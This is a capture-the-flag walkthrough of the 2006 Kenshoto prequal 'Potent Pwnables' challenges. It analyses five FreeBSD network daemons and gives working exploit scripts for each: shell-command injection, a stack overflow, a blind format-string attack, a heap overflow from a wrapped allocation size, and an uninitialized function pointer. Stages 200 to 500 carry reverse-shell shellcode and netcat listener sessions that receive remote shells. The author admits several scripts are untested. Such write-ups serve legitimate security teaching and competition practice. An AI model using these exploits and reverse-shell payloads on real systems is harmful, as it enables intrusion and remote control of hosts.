CTF 2006 Prequal Walkthrough: Potent Pwnables
Given the Jeopardy-inspired scoreboard, this was by far the best named category. The range of challenges here was really well thought-out, and the difficulties scaled nicely. Each stage used a progressively more complex vulnerability type along with a more complex access vector. The network and daemonizing code used in stages 200, 400, and 500 remained basically the same, so with each new stage, the code analysis got both faster and more focused, since it was progressively easier to pick out the interesting bits, but those bits got more and more difficult to analyze.
For each of the Pwnage challenges, we were faced with needing to identify and understand three things:
100: Shell escape
The first binary is a compiled Python object. "strings" shows it to run "system", and use ForkingTCPServer. Running it and checking ports, we see it's listening on port 6608. Connecting to it, we hit enter, and got greeted with "cal" output. Looking back to the "strings" output, we see "cal %s".
Connecting again, we try entering "2004", which it responds to by displaying the 2004 calendar. As if it wasn't already obvious, we have a case of unchecked shell arguments. Typing:
;id;
report to us:
     June 2006      
Su Mo Tu We Th Fr Sa
             1  2  3
 4  5  6  7  8  9 10
11 12 13 14 15 16 17
18 19 20 21 22 23 24
25 26 27 28 29 30   

uid=1100(server100) gid=1100(server100)
From here, we just looked around the filesystem, discovered the "answer" file in "/home/server100", and moved on:
$ echo ";pwd;" | nc kenshoto.allyourboxarebelongto.us 6608 | tail -n +9
/home/server100
$ echo ";ls;" | nc kenshoto.allyourboxarebelongto.us 6608 | tail -n +9
answer
$ echo ";cat answer;" | nc kenshoto.allyourboxarebelongto.us 6608 | tail -n +9
Gnomical Blanquillo
200: Static stack overflow
Much like Binary Leetness 300, "objdump -R" on this stage shows calls for daemonizing a network service. Lots of clues are available since the executable is not stripped. Both "nm" and "strings" show all kinds of stuff. We see that it wants to become a user named "server200", for example. To run the server locally, we needed to create the user before the server would start. Either by running it, or examining the arguments to the "init" call, we see the server listens on port 8835:
$ objdump -d ./Pwnage200Server | grep -B1 'call.*<init>'
 8048bc6:       68 83 22 00 00          push   $0x2283
 8048bcb:       e8 eb 00 00 00          call   8048cbb <init>
The output from "nm" shows us the global variable "g_iHoldYourShellcode" at 0x804a120. Not immediately trusting this hint, we move on and examine "handleRequest", which in turn calls "readAll". Our goal is to find where input is read in, assuming that we're dealing with some kind of overflow condition. We note that "g_iHoldYourShellcode", as well as the value 0x3ff is passed to "readAll".
Looking at "readAll", we see that it reads until "read" returns 0, or we hit 0x3ff bytes. No overflow here, since the buffer is 0x3ff bytes large. Looking back at "handleRequest", we notice the the arguments to "strncpy" take a local stack destination, and the "strlen" output instead of the size of the stack-allocated buffer. Looking to the stack destination, we see it's only 0x208 wide. This makes the strncpy overflowable!
Before the "strncpy" happens, though, the code checks to see if there is a "K" in the buffer (see the "call strchr" at 8048afc), so we'll have to keep that in mind.
So, our summary so far is: Heading over to Metasploit we select an i32 BSD reverse shell shellcode. This will get us past any inbound firewalls on the target machine. All we need is a listening netcat ready to take the connection. We cook up a quick script:
#!/usr/bin/perl
# connects back to localhost 4200  (change the shellcode for YOUR IP!)
# bsd_ia32_reverse -  LHOST=localhost LPORT=4200 Size=92 Encoder=PexFnstenvSub http://metasploit.com
my $shellcode =
"\x29\xc9\x83\xe9\xef\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\xb2".
"\x27\xe2\x12\x83\xeb\xfc\xe2\xf4\xd8\x46\xba\x8b\xe0\x65\xb0\x50".
"\xe0\x4f\x9d\x12\xb2\x26\x2f\x92\xda\x37\xe0\x02\xda\xae\x03\x78".
"\xa2\x76\xb2\x43\x25\x4d\x80\x4a\x7f\xa7\x88\x10\xeb\x97\xb8\x43".
"\xe5\x76\x2f\x92\xfb\x5e\x14\x42\xda\x08\xcd\x61\xda\x4f\xcd\x70".
"\xdb\x49\x6b\xf1\xe2\x73\xb1\x41\x02\x1c\x2f\x92";

$shellcode = "K" + $shellcode;  # insert the required "K" character
$len = length($shellcode);

$addr=pack("V",0x0804a121);     # target address, just after the "K"

$need=int((0x3ff-$len)/4)-1;    # pad the rest of the buffer with addresses
$shellcode.=$addr x $need;

print $shell;
Starting our netcat, we launch our exploit, and get our key:
$ nc -v -l -p 4200
listening on [any] 4200 ...
^Z
[1]+  Stopped                 nc -v -l -p 4200
$ perl pwn200.pl | nc kenshoto.allyourboxarebelongto.us 8835 &
[2] 27090
$ fg %1
connect to [10.0.0.1] from kenshoto.allyourboxarebelongto.us [74.229.71.52] 34007
id
uid=1200(server200) gid=1200(server200)
cat /home/server200/answer
Chief Maple
(Thanks to byax for pointing out we missed the "K" check in our write-up.)
300: Blind format string overflow
Instead of being given server code to analyze, this time we have been given a Python client which hands a format string to the server, and reads back the result. This stands out as a format string overflow, and we're left to discover: To find our location, we change the formatString variable to:
AAAA.%1$x
and proceed up to argument offset 7, where we discover the start of our format string, shown as "41414141":
In:  AAAA.%7$x
Out: AAAA.41414141
Looking through high argument offsets, we start to see addresses back in the 0x0804.... range, and we figure we've found the edge of the stack frame holding our return address. We note this for the future. In addition to the possible return address, we also see addresses in the 0x3fbf.... range, which looks like stack locations.
We change our format string to start with a guess at our stack address, followed by 4 B's and a giant string of A's, and then attempt to locate them by using "%s":
In:  \xd8\xf7\xbf\x3fBBBBAAAA....AAAA|%7$s|
If the server doesn't return anything we hit such a bad stack guess that it wasn't even addressable memory. If the server returns garbage between the "|"s, we need to adjust the address up or down a few hundred bytes. The goal would be to totally nail the address, and see something like:
Out: \xd8\xf7\xbf\x3fBBBBAAAA....AAAA|BBBBAAAA....AAAA|
In that case, you'd know your guess was 4 bytes past the exact beginning of your string. So, backing off, address 0x3fbff7d4 is precisely the start of the buffer. We've got the first required element, but move up a few bytes to place ourselves squarely into our future NOP sled, past the business-portion of the format string: 0x3fbff808.
Now we return to the earlier discovery of the likely return address and calculate where it is from our known stack buffer start location. Based on the size of the format string we used, the location of the return address ends up being at 0x3fbffbec, which we can quickly verify:
In:  \xec\xfb\xbf\x3fBBBBAAAA....AAAA|%7$x|
Out: \xec\xfb\xbf\x3fBBBBAAAA....AAAA|8040...|
Now all we need to do is generate the format string containing the "%u"s and "%n"s needed to overwrite the target address with our buffer location, and replace the "A"s with our shellcode:
#!/usr/bin/env python
from socket import *
import struct

s = socket()
s.connect(('kenshoto.allyourboxarebelongto.us', 3452))

shellCode = ''

# NOP sled
shellCode += "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
shellCode += "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
shellCode += "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"

# connects back to localhost 4300  (change the shellcode for YOUR IP!)
# bsd_ia32_reverse -  LHOST=localhost LPORT=4300 Size=92 Encoder=PexFnstenvSub http://metasploit.com
shellCode += "\x31\xc9\x83\xe9\xef\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x11"
shellCode += "\xaf\x44\xc8\x83\xeb\xfc\xe2\xf4\x7b\xce\x1c\x51\x43\xed\x16\x8a"
shellCode += "\x43\xc7\x3b\xc8\x11\xae\x89\x48\x79\xbf\x46\xd8\xdd\x26\xa5\xa2"
shellCode += "\x01\xfe\x14\x99\x86\xc5\x26\x90\xdc\x2f\x2e\xca\x48\x1f\x1e\x99"
shellCode += "\x46\xfe\x89\x48\x58\xd6\xb2\x98\x79\x80\x6b\xbb\x79\xc7\x6b\xaa"
shellCode += "\x78\xc1\xcd\x2b\x41\xfb\x17\x9b\xa1\x94\x89\x48"

returnTarget = 0x3fbffbec   # stack location of return address

attack = ''
# format argument #7
attack += struct.pack('<L', returnTarget) # pointer to LOW word to overwrite
# format argument #8
attack += 'AAAA'
# format argument #9
attack += struct.pack('<L', returnTarget + 2) # pointer to HIGH word to overwrite

# stack location of shellcode is 0x3fbff808 used below...
attack += r'%08x%08x%08x%08x%08x%08x' # pop 6
attack += r'%.63436u'     # need low bytes (f808)   (0xf808-4-4-4-6*8)
attack += r'%7$hn'
attack += r'%.18359u'     # need high bytes (3fbf)  (0x13fbf-0xf808)
attack += r'%9$hn'
attack += r'|%8$08x|'

attack += shellCode

formatString = attack

print '%s' % formatString

s.send(struct.pack('<L', len(formatString)))
s.sendall(formatString)

sz = struct.unpack('<L', s.recv(4))[0]
buf = ''
while len(buf) < sz:
    buf += s.recv(sz-len(buf))

print 'buf:', repr(buf)
NOTE: since the kenshoto box is currently down, we can't fully clean up or test this example. Since it's been adjusted a bit for this walk-through, it's possible it won't work correctly. Please send any corrections to Doc Brown.
Using this client, we take the same approach we did with 200: start a listener on port 4300, and go to town:
$ nc -v -l -p 4300
listening on [any] 4300 ...
^Z
[1]+  Stopped                 nc -v -l -p 4300
$ python client300.py &
[2] 27173
$ fg %1
connect to [10.0.0.1] from kenshoto.allyourboxarebelongto.us [74.229.71.52] 34013 
id
uid=1300(server300) gid=1300(server300)
cat /home/server300/answer
Henotic Octameter
400: Short-wrapping heap overflow
Back to a familiar situation: another FreeBSD stripped executable. This time, however, the "objdump -R" shows a few extra things:
0804a904 R_386_JUMP_SLOT   __builtin_delete
0804a90c R_386_JUMP_SLOT   __builtin_new
This means we're dealing with a C++ program, which means we'll be allocating objects into the heap. Right off the bat, we suspect this is going to involve some kind of heap overflow.
Looking at the disassembly, we quickly identify all the "regular" elements of this server, including "main", the "daemonize" code (0x8049028) that switches uids and calls "daemon", the "setup_socket" code (0x8049278), the "accept_loop" code (0x80493ac) that handles the "accept", "fork", and the connection handler.
Before the call to the "setup_socket", at 0x804909e we find the port the server is listening on: 8325. Before the call to "accept_loop", at 0x80490b3 we find the address that it pulls from the stack, used for the "connection_handler" (0x8048d08) after the "fork" call.
In the "connection_handler", we look at the arguments of the "read" calls, and we see that the server first reads and saves 4 bytes and then 2 bytes. Continuing, it calloc's a buffer using the size stored during the 2 byte read. Studying this section carefully, we note two important things:
  1. The storage size of the calloc argument is a word. (movzwl)
  2. Before passing the argument to calloc, it is increased by 8.
This means we have the ability to create a very small calloc buffer by passing a size of 0xFFF8 or larger, since the word will wrap back around to 0x0000 after it passes 0xFFFF. We continue reading, and discover that the calloc'd buffer is, in fact, used to receive the contents of the final "read" call (but without being increased by 8 first). This will let us write past the end of the calloc'd buffer into anything else that was allocated onto the heap after the calloc call.
Before we hit the third "read" call, there are some other things going on. First the 4-byte value from the first "read" is tested for either 0x3 or 0x4. Then an object is instantiated with a call to "new" (which gives us a possible target in the heap), the heap-busting "read" happens, the object is called, a "write" is called, and finally some clean up and termination.
Now the goal is to wreck the heap during the "read" in such a way that we replace the object's function location, called at 0x8048f12, with a location within the shellcode we deliver. To summarize: While examining how the C++ object gets called, we discover that we can't overwrite the entire object with just our destination address, we actually need to overwrite the beginning of the object with the location within the "object" to find the address to jump to. This means, we need to deliver: Since we don't know where the heap is, we make our NOP sled large (0x4000 bytes) and figure we just have to try a bunch of heap locations, 0x1000 apart, until we jump into our NOPs. After examining the object calling mechanisms, we calculate that we need 13 copies of the "call target", followed by lots of copies of the "target" address (0x2000 bytes worth) to maximize our chance of guessing the correct destination somewhere in the NOP sled. Using our regular reverse shell shellcode connecting back to port 4400, we build the following client:
#!/usr/bin/env python
from socket import *
import struct
import sys

shellCode = ''
for i in range(0x4000/4):
    shellCode += "\x90\x90\x90\x90"

# connects back to localhost 4400  (change the shellcode for YOUR IP!)
# bsd_ia32_reverse -  LHOST=127.0.0.1 LPORT=4400 Size=92 Encoder=PexFnstenvSub http://metasploit.com
shellCode += "\x2b\xc9\x83\xe9\xef\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x73"
shellCode += "\x8a\x4a\xb7\x83\xeb\xfc\xe2\xf4\x19\xeb\x12\x2e\x21\xc8\x18\xf5"
shellCode += "\x21\xe2\x35\xb7\x73\x8b\x87\x37\x1b\x9a\x48\xa6\x43\x03\xab\xdd"
shellCode += "\x63\xdb\x1a\xe6\xe4\xe0\x28\xef\xbe\x0a\x20\xb5\x2a\x3a\x10\xe6"
shellCode += "\x24\xdb\x87\x37\x3a\xf3\xbc\xe7\x1b\xa5\x65\xc4\x1b\xe2\x65\xd5"
shellCode += "\x1a\xe4\xc3\x54\x23\xde\x19\xe4\xc3\xb1\x87\x37"

# guess at heap start location
address = 0x8050000

for i in range(0x1000):
    print '0x%x ...' % address

    s = socket()
    s.connect(('kenshoto.allyourboxarebelongto.us', 8325))

    # guess at location of "target" address to read
    call_target = struct.pack('<L', address)
    # target past the string of target address, somewhere in the NOP sled
    target = struct.pack('<L', address+0x4000)

    exploit = ''
    # stretch 13*4 bytes over into the object header area
    for i in range(13):
        exploit += call_target

    # create a wide area to read target location from
    for i in range(0x2000/4):
        exploit += target

    # add NOPs and shellcode
    exploit += shellCode

    # This is the "command" number that gets verified
    s.send(struct.pack('<L', 3))

    # This is a len of string to send, har har
    s.send(struct.pack('<H', 0xFFF9))
    s.sendall(exploit)

    buf = ''
    buf += s.recv(5000)

    print 'buf:', repr(buf)

    address += 0x1000
NOTE: since the kenshoto box is currently down, we can't fully clean up or test this example. Since it's been adjusted quite a bit for this walk-through, it's possible it won't work correctly. Please send any corrections to Doc Brown.
Using this client, we take the same approach we did with the others: start a listener on port 4400, and wait for the love:
$ nc -v -l -p 4400
listening on [any] 4400 ...
^Z
[1]+  Stopped                 nc -v -l -p 4400
$ python client400.py &
[2] 28009
0x8050000 ...
0x8051000 ...
$ fg %1
0x8052000 ...
0x8053000 ...
0x8054000 ...
0x8055000 ...
0x8056000 ...
connect to [10.0.0.1] from kenshoto.allyourboxarebelongto.us [74.229.71.52] 34109 
id
uid=1400(server400) gid=1400(server400)
cat /home/server400/answer
Ninjas Beat Pirates
500: Uninitialized stack variable
Another FreeBSD stripped executable, built in the same fashion as the rest with the "daemonize", "setup_socket", etc, functions. The port is pushed onto the stack just before the call to the "setup_socket", and we find the connection handler (0x8048fd3) pushed onto the stack before calling the "accept_loop" code.
The connection handler is much less linear than in any of the prior servers. It makes several calls out to other functions, which in turn make more calls. This analysis took some time. The first part was pretty straight forward, a 9 byte "read" into the stack, with the second 32bit value used as "size" for the "calloc" call following it. The buffer and the size overlap, as if a C union was used:
union {
    uint8 buffer[9];
    struct {
        uint32 zeros;
        uint32 size;
        uint8  ignored;
    } parts;
} nine_bytes;

read(fd,nine_bytes.buffer,9);
var_c = calloc(nine_bytes.parts.size,1);
Continuing to carefully study the stack variables and how they're used, the loop conditions, and the tests performed, we produced our first-pass of the remaining pseudo-code, without regard to what the functions in the "switch" section did yet:
read_all(fd,var_c,nine_bytes.parts.size);

while ( var_10 <= nine_bytes.parts.size ) {
    var_2c = var_10 + var_c;
    var_34 = *var_2c;
    switch(var_34) {
        case 1:
            command1(var_2c);
            break;
        case 2:
            command2(var_2c);
            break;
        case 5:
            command5(var_2c);
            break;
    }
    var_10 += *(var_2c + 4) + 9;
}
From this, we can see that "var_c" is a string buffer, "var_10" is an index into the buffer, which we loop through until the end of the buffer, "var_2c" is a string pointer to the indexed position in the buffer, and var_34 is a uint32 value, pulled out of the string at the position pointed to by "var_2c". The value is tested with a switch statement, and the string pointer is passed to the appropriate fuction. After the function, the index is pushed forward by the uint32 value 4 bytes past the string pointer location, plus 9 bytes.
At this point, we know we're dealing with a stream reader, and that the stream contains at least the following in 9-byte chunks to be processed:
    uint32 command
    uint32 size
    uint8  unknown
The loop jumps from chunk to chunk, based on the "size" information in bytes 5 through 8. It calls a function based on the "command" information in bytes 1 through 4. The 9th byte isn't used by this loop, but is specifically compensated for when calculating the next index (current position, plus size, plus nine bytes -- the size of the chunk itself). We assume the "size" here actually refers to a payload that follows the "unknown" byte.
We ponder being able to crash the reader by putting a large "size" value into the stream, but decide all we'd do is just seg-fault the loop when it tried to read beyond allocated heap while trying to load the next command. Not an immediately useful exploit, but we make note of it, and start reading through the disassembly for "command1" (0x8048e31), "command2" (0x8048c25), and "command5" (0x8048d6d).
The first thing we note is that all three commands call another function (0x8048B98) and check its result before continuing to do their processing. Examining this function, we see it takes as arguments the current stream location and a "scan length" which consists of the chunk's "size" plus 9. Then it loads the mysterious 9th byte from the stream chunk, clears the byte in the stream itself, loops through the stream, examining "scan_length" many bytes. (This confirms a payload following what was known as the "chunk", which we'll now call the "header".) Looking at the processing, we see it is XORing the contents of the header and payload (which we'll call a "packet"), creating a simple checksum of the packet:
struct header_t {
    uint32 command;
    uint32 size;
    uint8  checksum;
};

uint8 verify_checksum(uint8 * stream, uint32 scan_length)
{
    struct header_t *header;
    header = (struct header_t *)stream;

    // save and clear the in-stream packet checksum
    uint8 expected_checksum = header->checksum;
    header->checksum = 0;

    // seed our checksum: K is for Kenshoto!  ;)
    uint8 calculated_checksum = 'K';
    // scan the packet to calculate the XOR checksum
    for (uint32 i = 0; i < scan_length; i++) {
        calculated_checksum ^= stream[i];
    }

    // restore the in-stream packet checksum
    header->checksum = expected_checksum;

    // return calculated checksum
    return calculated_checksum;
}
Checking each call of "verify_checksum", all we see is correct math on the size, so once again, a too-large "size" would just cause the program to walk off the end of the heap reading values. (And the one write it makes to memory is restored before returning.) It doesn't look like a useful exploit, but we keep it in mind.
Going back to "command1", we see that it begins processing the packet contents as if it were a new stream, doing all the same math on offsets, etc. We find that if the payload for "command1" contains a new packet with its "command" set to 3 or 4, an additional function is called within "command1". These are named "command3" (0x8048ca7) and "command4" (0x8048d0a).
When "command3" or "command4" are called, the payload and a pointer to a function pointer is passed to the sub-commands. On return, as long as the function pointer isn't NULL, is called by "command1". From this, it looks like "command3" and "command4" modify this pointer to aim at specific functions in memory. This seems like a pretty direct way to call a chunk of shellcode, so we move on to investigate the sub-commands.
Both "command3" and "command4" call the "verify_checksum" function, before scanning the packet payload for a specific character. From the arguments passed to "memchr", we see that "command3" looks for a "K", and "command4" looks for a "V". If it does NOT see their respective characters, it sets the passed-in function pointer pointer. The function addresses used, however, were static -- not chosen or calculated -- which seems to seriously reduce our chances of changing it to call into our shellcode.
All the math in "command1", "command3", and "command4" looked good to us, and the two function pointers (0x8048beb and 0x8048c08) they can return just taunt us with their innocuous "printf" calls. We wonder if we need to somehow change the pointers used and perform a format string attack, but even those pointers are part of the read-only data segment, so it doesn't seem like we can change the values in any way. We note this weird set of functions, and move on.
Reading through "command2", we find an exciting call to "memcpy", which we find writing directly onto the stack. Unfortunately, %esp has been pushed beyond the size of the packet being copied. All the math is solid, and there's no chance of writing outside of the stack area allocated. And to make matters worse, the function does absolutely nothing else. It just copies the packet payload into the stack, and returns. We figured this was how we were going to get our shellcode into memory, and that we needed to find the vulnerability now, which would point back into this stack area.
Moving on to "command5", we find that it just printfs the packet contents. Totally and frustratingly useless. All the math is good, and nothing looks to be vulnerable.
Stumped, we paused briefly to ponder what we had, which functions performed what kinds of actions, and where the flow of execution goes. We decide that "command5" is totally useless, and write it off. We figure that "command2" is used to populate the stack with our shellcode, and that it serves no other purpose. We focus back on "command1", ignoring "command3" and "command4" temporarily.
As we carefully studied each stack variable used by "command1", we eventually started trying to track down initial values, so we could double-check our understanding of the loop execution flow. The function pointer pointer modified by "command3" and "command4" (which we named "callable") didn't seem to actually have an initial value. It was tested to be not NULL before calling it, but that's as close to manipulating it that "command1" ever got. It was clear that "callable" was just simply not being initialized before making it's way into either "command3" or "command4".
Re-checking "command3" and "command4", we found that as long as the character they were looking for was found in the payload, it would leave our function pointer unmolested, and return straight back into "command1" where as long as it wasn't NULL, would get called.
Now we had a plan:
As a reminder, we had a solid understanding that our stream parser handled data in the following format:
    uint32 command;
    uint32 size;
    uint8  checksum;
    uint8  payload[size];
Command "0" is what starts the whole thing going (though it's checksum is ignored). Within the payload for "0", we need command "2" with our shellcode and destination address payload, followed by command "1" with a payload containing command "3" with a payload that contained a "K".
Our attack looked like this:
Again using our regular reverse shell shellcode connecting back to port 4500, we build the following client, stepping across large ranges of possible stack addresses, and building our payload in reverse so we could calculate checksums as we built it up:
#!/usr/bin/env python
from socket import *
import struct
import sys
 
# Pick a starting point in the stack
xaddr = 0xbfbf0000
 
for i in range(1000):
    print '0x%x ...' % xaddr
 
    addr = struct.pack('<L', xaddr)
 
    xaddr += 0x100
 
    s = socket()
    s.connect(('kenshoto.allyourboxarebelongto.us', 8338))

    shellCode = ''

    # drop a sled large enough to catch our incrementing stack guess
    for i in range(0x100):
        shellCode += "\x90\x90\x90\x90"

    # connects back to localhost 4500  (change the shellcode for YOUR IP!)
    # bsd_ia32_reverse -  LHOST=localhost LPORT=4500 Size=92 Encoder=PexFnstenvSub http://metasploit.com
    shellCode += "\x29\xc9\x83\xe9\xef\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\xd9"
    shellCode += "\x8a\xf5\x95\x83\xeb\xfc\xe2\xf4\xb3\xeb\xad\x0c\x8b\xc8\xa7\xd7"
    shellCode += "\x8b\xe2\x8a\x95\xd9\x8b\x38\x15\xb1\x9a\xf7\x84\x4d\x03\x14\xff"
    shellCode += "\xc9\xdb\xa5\xc4\x4e\xe0\x97\xcd\x14\x0a\x9f\x97\x80\x3a\xaf\xc4"
    shellCode += "\x8e\xdb\x38\x15\x90\xf3\x03\xc5\xb1\xa5\xda\xe6\xb1\xe2\xda\xf7"
    shellCode += "\xb0\xe4\x7c\x76\x89\xde\xa6\xc6\x69\xb1\x38\x15"

    # drop in a span of target addresses large enough to push
    # our shellcode above the big stack allocated by command1, leaving
    # "callable" to be initialized with one of these addresses.
    for i in range(0x400):
        shellCode += addr


    # Stack filler (command2)

    packet = ''
    packet += struct.pack('<L', 2)
    packet += struct.pack('<L', len(shellCode))
    packet += '\x00'
 
    packet += shellCode
 
    # chksum
    chksum = 0x4b
    for i in range(len(packet)):
        chksum ^= ord(packet[i])
 
    packet = packet[0:8] + struct.pack('<B',chksum) + packet[9:]
 
 
    # Subcommand (command3)
 
    bitches = "Kenshoto are some mean bithces" 
 
    doit = ''
    doit += struct.pack('<L', 3)
    doit += struct.pack('<L', len(bitches))
    doit += '\x00'
 
    doit += bitches
 
    # chksum
    chksum = 0x4b
    for i in range(len(doit)):
    chksum ^= ord(doit[i])

    doit = doit[0:8] + struct.pack('<B',chksum) + doit[9:]
 
 
    # Container (command1)
    
    contain = ''
    contain += struct.pack('<L', 1)
    contain += struct.pack('<L', len(doit))
    contain += '\x00'
 
    contain += doit
 
    # chksum
    chksum = 0x4b
    for i in range(len(contain)):
        chksum ^= ord(contain[i])
 
    contain = contain[0:8] + struct.pack('<B',chksum) + contain[9:]
 
 
    # Overall Payload Header (command0)
    stream = ''
    stream += struct.pack('<L', 0)
    stream += struct.pack('<L', len(packet) + len(contain))
    stream += '\x00'
 
 
    magicString = stream + packet + contain
 
    s.sendall(magicString)
 
    buf = ''
    buf += s.recv(5000)
NOTE: since the kenshoto box is currently down, we can't test this example; it was cleaned up for the walk-through, and it's possible it won't work correctly. Please send any corrections to Doc Brown.
Running our client, we cracked a beer and waited for the magic:
$ nc -v -l -p 4500
listening on [any] 4500 ...
^Z
[1]+  Stopped                 nc -v -l -p 4500
$ python client400.py &
[2] 28124
0xbfbf0000 ...
0xbfbf0100 ...
$ fg %1
0xbfbf0200 ...
0xbfbf0300 ...
0xbfbf0400 ...
0xbfbf0500 ...
0xbfbf0600 ...
connect to [10.0.0.1] from kenshoto.allyourboxarebelongto.us [74.229.71.52] 34291 
id
uid=1500(server500) gid=1500(server500)
cat /home/server500/answer
Executive Docibility

ctf 2006 prequals